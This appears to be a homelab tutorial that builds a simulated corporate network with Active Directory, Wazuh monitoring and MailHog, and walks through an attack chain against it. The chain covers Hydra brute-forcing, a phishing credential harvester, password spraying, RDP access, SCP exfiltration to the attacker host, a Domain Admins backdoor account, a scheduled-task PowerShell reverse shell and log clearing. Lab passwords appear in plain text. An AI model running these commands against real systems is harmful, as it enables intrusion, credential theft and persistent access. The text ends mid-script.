### ****Cybersecurity Homelab Overview****

In this homelab setup, we have created a realistic, enterprise-level environment that mimics a typical corporate network, complete with Windows and Linux systems, security monitoring tools, and attack simulation capabilities. Here's an overview of the key components and their roles within your lab:

#### ****1. Windows Server 2025 (Domain Controller with Active Directory)****

* **Role**: The **Windows Server 2025** acts as the **Domain Controller (DC)**, managing the network's identity and security. It hosts **Active Directory (AD)**, which is responsible for authentication, centralized management of users, groups, and devices, as well as handling **DNS**, **DHCP**, and **Single Sign-On (SSO)** services.
* **Functions**:
  + **Centralized Identity Management**: AD allows for the management of user credentials, permissions, and group policies across the domain.
  + **Network Security**: The server helps control access to resources, enforce security policies, and monitor network traffic.
  + **Key Role in Security Simulation**: As the backbone of your simulated corporate environment, this server supports various attack vectors, such as privilege escalation, domain-joined device vulnerabilities, and lateral movement scenarios.

#### ****2. Linux Client with Wazuh Agent****

* **Role**: The **Linux Client** simulates a **user workstation** running Ubuntu, which is typically used for tasks like software development, office work, and networking.
* **Security Configuration**:
  + **Wazuh Agent** is installed on the Linux machine to monitor system activity, detect security incidents, and report data back to the **Wazuh Manager** on the security server.
  + **Features**: Wazuh collects logs, performs real-time intrusion detection, file integrity monitoring (FIM), and vulnerability scanning to ensure the Linux system remains secure and compliant.
* **Key Use Case**: The Linux client helps test the security posture of open-source operating systems in a corporate environment and ensures that any compromise attempts are detected by Wazuh.

#### ****3. Windows Client with Wazuh Agent****

* **Role**: The **Windows Client** represents a typical employee machine in a corporate environment running **Windows 11 Enterprise**.
* **Security Configuration**:
  + Like the Linux client, the **Wazuh Agent** is installed to provide continuous monitoring and send security alerts back to the central **Security Box** (Wazuh server).
  + **Features**: Real-time detection of suspicious activity, auditing Windows events, monitoring user behavior, and identifying potential threats like malware, unauthorized access attempts, and privilege escalation.
* **Key Use Case**: The Windows client allows you to simulate common threats targeting Windows systems, such as malware infections, phishing attacks, and unauthorized system access, while leveraging Wazuh for detection and analysis.

#### ****4. Ubuntu Corporate Server****

* **Role**: The **Ubuntu Corporate Server** serves as the **email server** for your environment, emulating a critical part of the corporate infrastructure. This server is likely hosting essential services like email, file sharing, and possibly web applications.
* **Security Configuration**: The server is hardened to simulate real-world configurations in enterprise environments. It is configured with necessary monitoring agents, such as **Wazuh**, to detect potential compromises in network traffic, system logs, and other sources of evidence.
* **Key Use Case**: The corporate server tests the security of backend infrastructure, email systems, and the integration of Linux servers in a mixed-OS environment. It is also a potential attack vector that you can simulate exploitations on.

#### ****5. Security Box with Wazuh Configuration****

* **Role**: The **Security Box** is a **dedicated security server** where your **Wazuh Manager** is deployed. This server plays a critical role in monitoring and analyzing logs from all machines in the network—whether they’re Windows, Linux, or Ubuntu.
* **Security Configuration**:
  + **Wazuh**: This open-source security monitoring tool is configured on the Security Box to manage log analysis, file integrity monitoring (FIM), intrusion detection, and vulnerability detection across the entire network.
  + **Centralized Security Management**: The Wazuh server is key to detecting real-time threats, responding to incidents, and enforcing security policies across the network.
* **Key Use Case**: The Security Box acts as the centralized point of security monitoring and alerting. It allows you to simulate a real-world Security Information and Event Management (SIEM) system, ensuring that all suspicious activities are detected and logged.

#### ****6. Kali Linux Attacker Machine****

* **Role**: The **Kali Linux Attacker Machine** is the offensive testing platform used to simulate various cyberattacks on the environment. Kali Linux comes preloaded with a wide range of penetration testing tools, allowing you to assess the security of your network.
* **Security Configuration**:
  + Kali Linux is a **penetration testing** tool that allows you to perform various **ethical hacking** operations, such as vulnerability scanning, password cracking, exploitations, and attack simulations like **phishing**, **RDP brute-force attacks**, **web application testing**, and **network exploitation**.
* **Key Use Case**: The Kali machine is used for simulated attacks to identify vulnerabilities, test system defenses, and analyze how well the Wazuh security tools respond to various attack methods. You can simulate everything from initial access to lateral movement and privilege escalation.

### ****Overall Lab Architecture and Flow****

* **Domain Controller** manages users, groups, and devices across the network, with centralized security policies and access controls.
* **Wazuh Agents** installed on the Linux client, Windows client, and security servers monitor and report back to the **Security Box**, providing a real-time analysis of system logs, file integrity, and potential threats.
* The **Ubuntu Corporate Server** adds a layer of simulated backend services and acts as an attack surface for network and email-related vulnerabilities.
* The **Kali Linux Attacker Machine** continuously attempts to exploit potential vulnerabilities in the system and assess the effectiveness of the security setup.

Together, this homelab provides a comprehensive platform to test, defend, and attack network systems, offering a hands-on learning environment for cybersecurity professionals to practice detection, response, and penetration testing. It also mimics a real-world enterprise setup, simulating a variety of attack vectors and security defenses.

### ****Network Topologies & Layout :****

#### Base Layout

#### ****VirtualBox: NAT Network****

* **Network Name**: project-x-nat (NatNetwork)
* **IP Address Range**: 10.0.0.0/24
* **Usable Range**: 10.0.0.1 – 10.0.0.254
* **DHCP Dynamic Scope**: 10.0.0.100 – 10.0.0.200

#### ****VMware Workstation Pro: VMnet (NAT-enabled)****

* **Network Name**: project-x-nat (VMNet8)
* **IP Address Range**: 10.0.0.0/24
* **Usable Range**: 10.0.0.1 – 10.0.0.254
* **DHCP Dynamic Scope**: 10.0.0.100 – 10.0.0.200

### ****Cyber Attack Simulation****

* 1. **Phishing Website**: Designed to collect user credentials.
  2. **Powershell Reverse Shell**: A basic Powershell script for establishing a reverse shell.

### ****Hosts****

| **Hostname** | **IP Address** | **Function** |
| --- | --- | --- |
| **dc** | 10.0.0.5 | Domain Controller (DNS, DHCP, SSO) |
| **admin** | 10.0.0.8 | Corporate Server |
| **sec-box** | 10.0.0.10 | Dedicated Security Server |
| **sec-work** | 10.0.0.103 (Dynamic) | Security Playground |
| **win-client** | 10.0.0.100 (Dynamic) | Windows Workstation |
| **linux-client** | 10.0.0.101 (Dynamic) | Linux Desktop Workstation |
| **attacker** | Dynamic | Attacker Environment |

### ****Accounts & Passwords****

| **Account** | **Password** | **Host** |
| --- | --- | --- |
| **Administrator** | @Deeboodah1!... | -dc |
| [**johnd@corp.project-x-dc.com**](mailto:johnd@corp.project-x-dc.com) | @password123!... | -win-client |
| **janed@linux-client** | @password123!... | -linux-client |
| **project-x-sec-work** | @password123!... | -sec-work |
| **sec-work@sec-box** | @password123!... | -sec-box |
| **project-x-admin@corp-svr** | @password123!... | -corp-svr |
| **attacker@attacker** | attackerattacker | -attacker |

### ****Operating Systems Overview****

1. **Windows Server 2025**: Enterprise-level server for directory services, network management, and identity management.
2. **Windows 11 Enterprise**: Business-focused desktop for employees, optimized for productivity.
3. **Ubuntu Desktop 22.04**: Used for software development and enterprise environments.
4. **Security Onion**: A platform for security monitoring, log analysis, and intrusion detection.
5. **Ubuntu Server 22.04**: A Linux-based server for hosting applications and services.
6. **Kali Linux**: A penetration testing distribution, packed with tools for ethical hacking.

### ****Virtual Machine Specifications****

| **VM Name** | **Operating System** | **Specs** | **Storage (min.)** |
| --- | --- | --- | --- |
| **project-x-dc** | Windows Server 2025 | 2 CPU / 4096 MB | 50 GB |
| **project-x-win-client** | Windows 11 Enterprise | 2 CPU / 4096 MB | 80 GB |
| **project-x-linux-client** | Ubuntu 22.04 Desktop | 1 CPU / 2048 MB | 80 GB |
| **project-x-sec-work** | Security Onion | 1 CPU / 2048 MB | 55 GB |
| **project-x-sec-box** | Ubuntu 22.04 Desktop | 2 CPU / 4096 MB | 80 GB |
| **project-x-corp-svr** | Ubuntu Server 22.04 | 1 CPU / 2048 MB | 25 GB |
| **project-x-attacker** | Kali Linux 2024.4 | 1 CPU / 2048 MB | 55 GB |

### ****Tools****

#### ****Enterprise Tools + Defense****

1. **Microsoft Active Directory**: Manages and organizes network resources, users, and permissions.
2. **Wazuh**: Open-source security monitoring platform for intrusion detection and compliance reporting.
3. **MailHog**: Fake SMTP server that captures and inspects outgoing emails.

#### ****Offense Tools****

1. **Evil-WinRM**: Remote management tool for Windows, used for post-exploitation.
2. **Hydra**: Brute-force and dictionary-based password cracking tool.
3. **SecLists**: A collection of penetration testing resources, including wordlists for exploitation.
4. **NetExec**: Tool for remote command execution and privilege escalation.
5. **XFreeRDP**: Open-source RDP client for remote control of Windows systems.

### ****VM Provisioning Steps****

1. **VirtualBox / VMware Workstation Pro**: Use as your hypervisor for creating and managing virtual machines.
2. **Windows Server 2025**: Provision AD Server.
3. **Windows 11**: Provision and configure a Windows client.
4. **Ubuntu Desktop 22.04**: Provision Linux client and security server.
5. **Security Onion**: Setup as the security monitoring tool.
6. **MailHog**: Configure as the fake email server.

### ****Cybersecurity Lab Scenario: Attacker's Playbook****

#### ****Scenario Overview****

In this lab, we’ll simulate an attack on **ProjectX**, a fictitious organization. The goal is to simulate the techniques and tools an attacker might use to exploit insecure configurations and outdated software to achieve financial gain. The attacker is motivated by **financial incentives**, and their ultimate aim is to **exfiltrate sensitive data**—including usernames, passwords, and proprietary files—by exploiting weaknesses in the organization's infrastructure.

The attacker will target **ProjectX** by leveraging known vulnerabilities, misconfigurations, and tools to gain unauthorized access, move laterally within the network, and ultimately steal valuable information. This simulation mimics a real-world cyber attack scenario, where attackers use default settings, outdated protocols, and insecure configurations to infiltrate a network.

#### ****Attacker Profile****

* **Motive**: Financially motivated to exfiltrate valuable data.
* **Target**: **ProjectX** (the organization being attacked).
* **Goal**: Steal sensitive data, including:
  + Usernames and passwords.
  + Proprietary files (documents, code, etc.).

The attacker has conducted basic reconnaissance on **ProjectX** and has identified multiple weak points and insecure configurations they can exploit. The attacker aims to use **social engineering** tactics, **brute force attacks**, **network vulnerabilities**, and **privilege escalation** to achieve their goal.

#### ****Steps in the Attack Lifecycle****

**1. Initial Reconnaissance**

The first step in any attack is gathering information. The attacker will use reconnaissance tools and techniques to identify vulnerabilities in **ProjectX**'s public-facing systems.

* **Tools & Techniques**:
  + **Nmap**: Used to map the network, identify live hosts, open ports, and services.
  + **Burp Suite**: Used for web application scanning to identify potential flaws (e.g., SQL injection, XSS).
  + **OSINT (Open-Source Intelligence)**: Gathering information from social media, employee profiles, and company websites to craft targeted phishing attacks.

**2. Exploiting Default & Outdated Configurations**

Having identified vulnerable systems, the attacker will target default and outdated configurations, such as:

* **Default credentials** for services like **FTP**, **SSH**, **RDP**, and **Web Servers**.
* **Outdated software** or **unpatched vulnerabilities**.
* **Weak password policies** that allow **brute-force attacks**.
* **Unsecured network shares** or **misconfigured permissions** on file servers.

The attacker may exploit these weaknesses in the following ways:

* **Brute-Force Attacks**: Using tools like **Hydra** to crack weak or default passwords on services like SSH, RDP, and HTTP.
* **Exploiting Vulnerabilities**: Using known exploits for outdated software and services to gain access to the internal network.

**3. Gaining Initial Access**

Once a vulnerability is identified, the attacker will attempt to gain initial access. Common attack vectors include:

* **Phishing**: Crafting fake login pages (e.g., for email or corporate applications) to steal user credentials.
* **Exploiting Vulnerabilities**: Exploiting vulnerable versions of software or services to gain a foothold in the network.
* **Credential Stuffing**: If user credentials are obtained through social engineering or data leaks, the attacker may try these credentials across multiple services (e.g., email, web servers, databases).

**4. Lateral Movement**

Once inside the network, the attacker will try to move laterally across systems, escalating privileges, and accessing more valuable resources.

* **Tools & Techniques**:
  + **Evil-WinRM**: Used to remotely interact with Windows systems via **WinRM**.
  + **XFreeRDP**: Leverages **Remote Desktop Protocol (RDP)** to gain full control of Windows machines in the network.
  + **NetExec**: A network exploitation tool used for **remote command execution** on target systems.
  + **Windows Credentials Dumping**: Tools like **Mimikatz** can be used to extract password hashes from compromised systems.

**5. Privilege Escalation**

After moving laterally and compromising a few systems, the attacker will attempt to escalate privileges, aiming for **domain admin** or **root access** to sensitive systems.

* **Techniques**:
  + **Privilege Escalation**: Exploiting misconfigurations or flaws in the Windows environment (e.g., **Unquoted Service Paths**, **DLL Hijacking**, etc.).
  + **Abusing Windows Services**: Using **Kerberos** or **NTLM** weaknesses to elevate privileges and gain domain admin rights.
  + **Exploiting Misconfigured File Shares**: Gaining access to sensitive files and data stored on file servers.

**6. Data Exfiltration**

Once the attacker has obtained the necessary credentials and escalated their privileges, they can move forward with the final phase of their attack: **data exfiltration**. This step involves stealing sensitive files, passwords, proprietary documents, and intellectual property.

* **Tools & Techniques**:
  + **File Exfiltration**: Moving sensitive data off the target system via **SCP**, **FTP**, or **HTTP** requests.
  + **Encrypted Channels**: Using encrypted channels to avoid detection when transmitting data out of the network.
  + **Cloud Storage**: Uploading stolen files to cloud storage platforms (e.g., Dropbox, Google Drive) to avoid leaving traces on the local network.

**7. Covering Tracks and Persistence**

Before completing the attack, the attacker will cover their tracks and maintain persistence within the compromised network for future exploitation.

* **Tools & Techniques**:
  + **Log Deletion**: Deleting or modifying logs to hide evidence of the attack.
  + **Backdoor Installation**: Installing **backdoors** and **remote access tools** (e.g., **Meterpreter**) to retain access to the network after the initial breach.
  + **Disabling Security Software**: Disabling antivirus, firewalls, or intrusion detection systems (e.g., **Wazuh**).

### ****Reconnaissance****

Reconnaissance ("recon") is the initial phase of a cyber-attack or security assessment, where threat actors or penetration testers gather intelligence about their target. The goal is to identify vulnerabilities, exposed services, and potential entry points without alerting the target.

**Assumption:** The target server ([project-x-corp-svr]) is internet-facing.

#### ****Mandatory VMs Powered On:****

* [project-x-sec-box]
* [project-x-corp-svr]
* [project-x-attacker]

### ****Operations: Initial Scanning****

1. **Nmap Scan**
   * Command:

bash

nmap -p1-1000 -Pn -sV 10.0.0.8/24

* + - -p1-1000: Scan ports 1–1000
    - -sV: Service version detection
    - -Pn: Skip host discovery (assume host is up)
  + **Findings:**
    - SSH service detected.
    - Target role unknown (could be a jump host, license server, or email server).

1. **Brute-Forcing SSH with Hydra**
   * **Hydra Command:**

bash

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.8

* + **Result:** Credentials found (root:november).
  + **SSH Access:**

bash

ssh root@10.0.0.8

### ****Post-Exploitation Reconnaissance****

Now that we have initial access, we gather additional intelligence:

1. **System Information:**
   * OS version:

bash

cat /etc/os-release

* + Hostname:

bash

hostname

* + IP configuration:

bash

ip a

1. **Network & Service Enumeration:**
   * Active connections:

bash

netstat -tuln

* + Running processes:

bash

ps aux

top

* + Sensitive file search:

bash

ls -la /home

ls -la /etc

find / -name "password" **2**>/dev/null

1. **Key Observations:**
   * SMTP (port 1025) running → Possible email server.
   * MailHog detected (port 8025).
   * Querying MailHog API reveals emails for janed@linux-client.

### ****Phishing Attack (Credential Harvesting)****

1. **Setup Fake Login Page:**
   * Host a credential-harvesting page (/var/www/html).
   * Log captured credentials to creds.log.
   * Start Apache:

bash

sudo service apache2 start

1. **Craft & Send Phishing Email:**
   * Use Python to send a fake "password reset" email via SMTP.
   * Email content (generated via LLM) includes a malicious link:

html

<a href='http://10.0.0.50'>Verify My Account</a>

1. **Execution:**
   * Victim (janed@linux-client) clicks the link and enters credentials.
   * Credentials (janed:Password123) logged in creds.log.
2. **Lateral Movement via SSH:**

bash

ssh janed@10.0.0.101

**Success:** Access gained to [project-x-linux-client].

### ****Lateral Movement & Privilege Escalation****

**Objective:** Move laterally to [project-x-win-client] and escalate privileges.

1. **Network Enumeration:**
   * Scan for WinRM ports (5985/5986):

bash

nmap -Pn -p 5985,5986 -sV 10.0.0.0/24

* + **Finding:** WinRM service active on 10.0.0.100.

1. **Password Spraying with NetExec:**
   * Create users.txt (Administrator) and pass.txt (@Deeboodah1!).
   * Execute spray attack:

bash

nxc winrm 10.0.0.100 -u users.txt -p pass.txt

* + **Result:** Valid credentials (Administrator:@Deeboodah1!).

1. **Gain Shell via Evil-WinRM:**

bash

evil-winrm -i 10.0.0.100 -u Administrator -p @Deeboodah1!

**Success:** Interactive shell on [project-x-win-client].

### ****Next Steps: Pivoting to the Domain Controller****

With administrative access to the Windows client, we can now:

* Perform **AD enumeration** (users, groups, trusts).
* Attempt **pass-the-hash** or **Kerberoasting** attacks.
* Exploit **misconfigured services** to move toward the DC ([project-x-dc]).

### ****Key Takeaways****

* **Recon is iterative:** Each access leads to more intelligence.
* **Credential reuse is common:** Weak passwords (e.g., november, Password123) enable lateral movement.
* **Legitimate tools = attacker tools:** NetExec, Evil-WinRM, and Hydra mimic real-world TTPs.

This approach mirrors modern attack chains, where initial access leads to credential harvesting, lateral movement, and privilege escalation.

## ****Lateral Movement 2.0: Domain Compromise & Persistence****

Cyber-attacks are iterative—initial access leads to reconnaissance, lateral movement, and further exploitation. Now that we control [project-x-win-client], we escalate to the **Domain Controller (DC)**.

### ****Mandatory VMs Powered On:****

* [project-x-sec-box]
* [project-x-win-client]
* [project-x-dc]
* [project-x-attacker]

### ****Phase 1: Domain Enumeration****

1. **Identify the Domain:**

powershell

nltest /dsgetdc:

* + Confirms domain membership (corp.project-x-dc.com).

1. **Scan for Open Ports:**
   * **Port 3389 (RDP)** is open → Potential path to the DC.

### ****Phase 2: Gaining Domain Admin Access****

1. **RDP into the Domain Controller:**
   * From Kali, use xfreerdp with compromised credentials:

bash

xfreerdp /v:10.0.0.5 /u:Administrator /p:@Deeboodah1! /d:corp.project-x-dc.com

* + **Result:** Successful login to [project-x-dc].

1. **Locate Sensitive Data:**
   * Navigate to C:\Users\Administrator\Documents\ProductionFiles\secrets.txt.

### ****Phase 3: Data Exfiltration****

**Goal:** Extract secrets.txt to the attacker’s machine.

1. **Transfer via SCP:**
   * From the DC’s command prompt:

powershell

scp ".\secrets.txt" attacker@10.0.0.50:/home/attacker/my\_sensitive\_file.txt

* + **Verification:** File appears in Kali’s /home/attacker.

### ****Phase 4: Establishing Persistence****

**Objective:** Ensure continued access even if detected.

#### ****Method 1: Create a Backdoor Account****

1. **Add a Hidden Admin User:**

powershell

net user project-x-user @mysecurepassword1! /add

net localgroup Administrators project-x-user /add

net group "Domain Admins" project-x-user /add

1. **Verify:**

powershell

net user project-x-user /domain

#### ****Method 2: Scheduled Task Reverse Shell****

1. **Generate Payload:**
   * Save as reverse.ps1 in Kali:

powershell

$ip = "10.0.0.50" # Attacker’s IP

$port = 4444

$client = New-Object System.Net.Sockets.TCPClient($ip, $port)

$stream = $client.GetStream()

# ... (rest of reverse shell script)

1. **Host Payload:**

bash

python -m http.server 8000

* + Download reverse.ps1 to DC via browser (http://10.0.0.50:8000).

1. **Create Scheduled Task:**

powershell

schtasks /create /tn "PersistenceTask" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\path\to\reverse.ps1" /sc daily /st 12:00

1. **Test Reverse Shell:**
   * In Kali:

bash

nc -lvnp 4444

* + Trigger manually:

powershell

.\reverse.ps1

* + **Success:** Shell session established.

### ****Key Takeaways****

* **Lateral Movement is Iterative:** Each compromised host reveals new paths.
* **Persistence is Critical:** Backdoor accounts + scheduled tasks ensure long-term access.
* **Exfiltration is Stealthy:** Use encrypted channels (e.g., SCP) to avoid detection.

This approach mirrors real-world attacks, where adversaries blend into the environment while maintaining control.

### ****Next Steps****

* **Cover Tracks:** Clear logs (wevtutil cl).
* **Expand Access:** Exploit trusts to move to other domains.

### ****Wazuh Overview****

Wazuh is an open-source security monitoring platform that serves multiple functions in the cybersecurity domain, including Extended Detection and Response (XDR), Security Information and Event Management (SIEM), File Integrity Monitoring (FIM), and vulnerability detection. By leveraging multiple data sources and providing comprehensive capabilities for detection, analysis, and response, Wazuh is a powerful tool for defending against cyber threats.

#### ****Key Features and Modules of Wazuh:****

1. **Extended Detection and Response (XDR)**:
   * XDR integrates data across security layers—endpoints, servers, cloud infrastructure, etc.—into a centralized platform for better threat detection, investigation, and response. Wazuh helps by aggregating and analyzing data from diverse sources like workstations, servers, cloud environments, and network traffic.
2. **System Information and Event Management (SIEM)**:
   * Wazuh provides the SIEM function, which involves monitoring, correlating, and analyzing logs to detect suspicious or malicious activities in real-time. This is critical for identifying potential threats and enabling rapid incident response.
3. **File Integrity Monitoring (FIM)**:
   * FIM monitors files for any unauthorized changes, helping organizations detect any tampering with critical system files or configuration files.
4. **Vulnerability Detection**:
   * Wazuh can help identify system vulnerabilities that could be exploited by attackers, assisting in proactive defense measures.

### ****Wazuh Ecosystem Components****

1. **Wazuh Indexer**:
   * This is a full-text search and analytics engine that indexes logs and stores alerts, allowing efficient querying and analysis of security data.
2. **Wazuh Server**:
   * The core component that analyzes data from agents using decoders and rules to detect known indicators of compromise (IOCs). It also manages agents, which includes configuring and upgrading them remotely.
3. **Wazuh Dashboard**:
   * The web-based user interface for managing the Wazuh platform. It provides data visualizations, alert management, and configuration control. The dashboard is crucial for performing threat hunting, investigating incidents, and viewing compliance data.

### ****Deployment and Configuration of Wazuh Agents****

The agents deployed on various endpoints (workstations, servers, VMs) are the eyes and ears of Wazuh. They send log data and security events to the Wazuh Server for analysis.

#### ****Agent Management****

1. **Centralized Configuration (agent.conf)**:
   * This method is ideal for managing multiple agents at once, particularly in larger environments. The agent.conf file is located on the Wazuh manager and defines settings for log collection, rule application, and active response policies.
2. **Local Configuration (ossec.conf)**:
   * Each agent can have a unique configuration by modifying the ossec.conf file directly on the agent. However, this approach might lead to configuration drift as individual changes are manually applied.

#### ****Deployment of Agents**** (Examples)

**1. Windows Agent Deployment:**

* Download the Wazuh agent installer from the official Wazuh repository and run the installation using the provided MSI file.
* The Wazuh agent is then configured to communicate with the Wazuh Manager using an agent key for authorization.

**2. Linux Agent Deployment:**

* On Linux systems, the Wazuh agent is installed using a .deb package for Debian-based systems (or a .rpm for Red Hat-based systems). The agent is then configured and started using systemctl.

### ****Security Implications and Benefits****

Running Wazuh provides a wide array of security benefits:

1. **Threat Detection**:
   * **Event Correlation**: Wazuh integrates logs from various systems (e.g., endpoints, servers, network devices) and correlates events to identify suspicious activities like brute-force attacks, privilege escalation, and malware infection.
   * **Real-time Alerts**: Wazuh can generate real-time alerts for security incidents, enabling immediate action. For instance, if someone attempts to gain unauthorized access, Wazuh can send alerts for investigation.
2. **Proactive Defense**:
   * **Intrusion Detection**: As a Host-Based Intrusion Detection System (HIDS), Wazuh can detect unauthorized changes, file integrity violations, and other potential indicators of compromise.
   * **Endpoint Visibility**: Wazuh gathers endpoint data, which can help detect advanced threats like fileless malware or ransomware that might bypass traditional detection mechanisms.
3. **Incident Response and Investigation**:
   * **Automated Responses**: Wazuh can trigger automatic responses, such as blocking an IP address or executing a quarantine script, to contain or mitigate threats.
   * **Forensics**: Wazuh stores logs and system data, which can be used for forensics and post-incident analysis. This information can help identify attack vectors and the scope of a breach.
4. **Centralized Security Management**:
   * **Unified View**: Wazuh aggregates data from multiple sources, providing a single pane of glass for security teams to monitor and manage the entire infrastructure.
   * **Tool Integration**: Wazuh integrates with other security tools (e.g., vulnerability scanners, threat intelligence feeds), enhancing its ability to provide cohesive defense.
5. **Threat Hunting**:
   * **Behavioral Analysis**: By continuously monitoring system behavior, Wazuh can help identify abnormal patterns, such as potential APTs (Advanced Persistent Threats).
   * **Custom Detection Rules**: Wazuh allows organizations to create custom detection rules, enabling tailored threat hunting strategies that align with the unique needs of the environment.

### ****Configuring Wazuh Agents****

Here are key steps for configuring Wazuh agents on different platforms:

1. **Windows Agent Configuration**:
   * After installing the Wazuh agent on a Windows machine (such as the [project-x-win-client] VM), configure the agent to connect to the Wazuh Manager (10.0.0.10), using the agent key generated on the Wazuh manager.
   * The configuration includes defining what logs (like Windows Event Logs) are collected for analysis.
2. **Linux Agent Configuration**:
   * On Linux endpoints (like [project-x-linux-client]), configure the agent to collect logs such as /var/log/auth.log and /var/log/audit/audit.log. These logs are crucial for detecting unauthorized access and suspicious activity.

### ****Onboarding Custom Logs****

**Windows Group Configuration**:

* For Windows machines, you can onboard logs such as Windows Security and Application Event logs:

<agent\_config>

<localfile>

<location>Security</location>

<log\_format>eventchannel</log\_format>

</localfile>

<localfile>

<location>Application</location>

<log\_format>eventchannel</log\_format>

</localfile>

</agent\_config>

**Linux Group Configuration**:

* For Linux, onboard logs such as /var/log/auth.log, /var/log/secure, and /var/log/audit/audit.log:

<agent\_config>

<localfile>

<log\_format>syslog</log\_format>

<location>/var/log/auth.log</location>

</localfile>

<localfile>

<log\_format>syslog</log\_format>

<location>/var/log/secure</location>

</localfile>

<localfile>

<log\_format>audit</log\_format>

<location>/var/log/audit/audit.log</location>

</localfile>

</agent\_config>

### ****Vulnerable Environment Setup :****

### 🔐 ****SSH Misconfigurations****

* Enabled root login and password authentication on both [project-x-corp-svr] and [project-x-linux-client].
* UFW rules modified to allow SSH (port 22).
* Wazuh Agent **not installed** on [project-x-corp-svr] (on purpose).
* Wazuh Agent **installed** on [project-x-linux-client], which detects:
  + **Wazuh Rule ID 5760**: SSH authentication failures.

### 🛑 ****Monitoring SSH Login Failures****

* Created a monitor titled **“3 Failed SSH Attempts”**.
* Trigger condition set to generate alert if more than 2 failed SSH logs are observed.
* Data filter based on sshd and authentication\_failed.

### 📬 ****SMTP Simulation with MailHog****

* Running MailHog on [project-x-corp-svr] with Docker.
* email\_poller.sh script on [project-x-linux-client] simulates email inbox monitoring.

### 💻 ****WinRM Configuration on [project-x-win-client]****

* Enabled **WinRM over HTTPS**.
* Detection via:
  + **Event ID 4624** with logonProcessName: Kerberos
  + **Wazuh Rule ID 60106**: Windows Logon Success.

### 📊 ****Monitoring WinRM Logins****

* Monitor named **“WinRM Logon”**.
* Trigger for even a single log (count > 1), severity set to Medium.
* Filter criteria: logonProcessName = Kerberos and eventID = 4624.

### ✅ Enable RDP on [project-x-dc]

Navigate to:  
**Settings ➔ System ➔ Remote Desktop**

Switch **Remote Desktop** to **On**.

### 🚨 Detection Integration for RDP

Wazuh includes built-in detection rules for monitoring successful and failed logon attempts to Windows systems. These are captured through:

* **Event ID 4624** – Successful logon
* **Event ID 4625** – Failed logon

**Wazuh Rule ID:** 92653  
**Description:** Detects RDP logins. Example:  
User: CORP\Administrator logged using Remote Desktop Connection (RDP) from ip:10.0.0.100.

To verify and explore the detection:

1. Go to **Server Management ➔ Rules**, search for **92653**.
2. To view the associated log:
   * Go to **Explore ➔ Discover**
   * Search using:
   * data.win.system.eventID: 4624 AND data.win.eventdata.logonProcessName: User32

**Note:**  
The field logonProcessName: User32 indicates the logon was initiated via Remote Desktop, as RDP relies on the User32.dll process. This can be validated by intentionally performing RDP logins and reviewing the generated logs.

### ****Mailhog Server Setup :****

Here is a professionally rephrased version of your content, while maintaining technical accuracy and clarity:

### 📧 ****CORP-SVR: Configuring an Email Server****

We’ll begin by setting up an email server on **[project-x-corp-svr]**.

An email server is responsible for sending, receiving, and storing emails for users. It relies on standard protocols such as:

* **SMTP** (Simple Mail Transfer Protocol) – for sending emails
* **IMAP** or **POP3** – for receiving and managing email

### 🔧 ****Why Self-Host an Email Server?****

Although most organizations today prefer cloud-based solutions like Gmail, Microsoft 365, or ProtonMail due to ease of use and reliability, self-hosting an email server offers deeper insight into email infrastructure and security mechanisms.

While it can be complex—dealing with IP reputation, spam filtering, and mail server configurations—this setup allows us, as homelab enthusiasts, to learn and experiment with complete control.

### 🗺️ ****Topology Overview****

We’ll be using **MailHog**, a lightweight email testing tool, to emulate a business-grade mail server setup. This will be used later in phishing and alert detection scenarios.

### 📦 ****MailHog Overview****

**MailHog** acts as a fake SMTP server that captures all outgoing mail from local apps without delivering them. It provides:

* A web-based UI to view message content
* An API for automation and integration
* Port-based services:
  + **SMTP**: localhost:1025
  + **Web UI**: localhost:8025

Ideal use cases include:

* Simulating enterprise mail infrastructure
* Testing phishing/email-based attack simulations
* Debugging email functionality in applications
* Avoiding interaction with real mail providers or spam filters

### ⚙️ ****Setting Up MailHog with Docker****

We’ll use Docker Compose for simplicity and repeatability.

1. **Navigate to the home directory:**
2. cd /home
3. **Create and enter the MailHog directory:**
4. sudo mkdir mailhog && cd mailhog
5. **Create a Docker Compose file:**
6. sudo nano docker-compose.yml
7. **Paste the following content:**
8. version: "3"
9. services:
10. mailhog:
11. image: mailhog/mailhog
12. container\_name: mailhog
13. ports:
14. - "1025:1025"
15. - "8025:8025"
16. **Save and exit Nano:** Press CTRL + X, then Y, then Enter.
17. **Run MailHog in the background:**
18. sudo docker compose up -d
19. **Open the MailHog Web UI:**  
    Visit http://localhost:8025 in your browser.

### 📤 ****Sending a Test Email****

1. **Back in the /home directory, create a test script:**
2. sudo nano test\_message.py
3. **Paste the following Python code:**
4. import smtplib
5. from email.message import EmailMessage
6. msg = EmailMessage()
7. msg.set\_content("This is a test email from Ubuntu VM.")
8. msg["Subject"] = "Hello World from MailHog!"
9. msg["From"] = "corpserver@example.com"
10. msg["To"] = "user@example.com"
11. with smtplib.SMTP("localhost", 1025) as server:
12. server.send\_message(msg)
13. **Make the script executable:**
14. sudo chmod +x test\_message.py
15. **Run the test message:**
16. sudo python3 test\_message.py

You should now see the message appear in the MailHog UI. ✅

### 🔁 ****Create an Email Polling Script on**** [project-x-linux-client]

This script simulates a service that checks for new incoming emails.

1. **Install necessary packages:**
2. sudo apt install curl jq
3. **Navigate to the home directory:**
4. cd /home
5. **Create the polling script:**
6. sudo nano email\_poller.sh
7. **Paste the following Bash script:**
8. #!/bin/bash
9. MAILHOG\_IP="10.0.0.8"
10. TO\_EMAIL="janed"
11. POLL\_INTERVAL=30
12. echo "📡 Janed's Mail Watcher started... polling every $POLL\_INTERVAL seconds"
13. echo "🔎 Watching for new mail sent to: $TO\_EMAIL@"
14. SEEN\_IDS\_FILE="/tmp/mailhog\_seen\_ids\_janed.txt"
15. touch "$SEEN\_IDS\_FILE"
16. while true; do
17. curl -s http://$MAILHOG\_IP:8025/api/v2/messages | jq -c '.items[]' | while read -r msg; do
18. TO=$(echo "$msg" | jq -r '.To[].Mailbox')
19. ID=$(echo "$msg" | jq -r '.ID')
20. if [[ "$TO" == "$TO\_EMAIL" && ! $(grep -Fx "$ID" "$SEEN\_IDS\_FILE") ]]; then
21. SUBJECT=$(echo "$msg" | jq -r '.Content.Headers.Subject[0]')
22. BODY=$(echo "$msg" | jq -r '.Content.Body')
23. echo -e "\n📬 New Email Received!"
24. echo "Subject: $SUBJECT"
25. echo "From: $(echo "$msg" | jq -r '.Content.Headers.From[0]')"
26. echo "Date: $(echo "$msg" | jq -r '.Created')"
27. echo -e "Message:\n$BODY"
28. echo "-----------------------------------"
